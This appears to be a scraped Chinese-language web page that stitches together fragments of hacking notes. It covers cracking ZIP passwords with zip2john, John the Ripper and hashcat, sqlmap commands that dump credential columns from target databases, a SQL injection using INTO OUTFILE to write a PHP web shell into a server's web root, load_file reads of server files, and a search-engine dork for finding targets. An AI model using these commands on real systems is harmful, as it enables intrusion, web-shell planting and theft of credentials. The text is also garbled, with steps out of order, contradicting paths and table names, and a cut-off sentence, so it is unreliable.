野路子云遇见不同的自己

2.执行指令：john/run>zip2john.exe lili.zip。地址：https://www.openwall.com/john/1.john the Ripper 密码破解者 牛了一P。生成一个要破解的密码串：把串记录到记事本中。3.下载破解工具hashcat。

sqlmap 是一个自动化的 sql 注入渗透工具，指纹检测、注入方式、注入成功后的取数据等等都是自动化的，sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程，并可用于执行各种任务，例如提取数据，访问底层文件系统以及在操作系统上执行命令。SQLmap 支持多种数据库管理系统，包括等。

kalilinux开启端口、关闭防火墙方法

' INTO OUTFILE 'E:/xamp/www/xiaoma.php'----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php。/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件。读取文件内容： select load_file('E:/xamp/www/s.php');

sqlmap -u 网址 -T uname - C login_name,pass,username --dump #-C 指定要找的列、 --dump。sqlmap -u 网址 --dbs --dbms mysql -T admin -C user,pwd --dump #查询具体列的值。sqlmap -u 网址 --dbs --dbms mysql -D cmxt --tables #cmxt 是数据库。搜索 -》 公司 inurl:asp?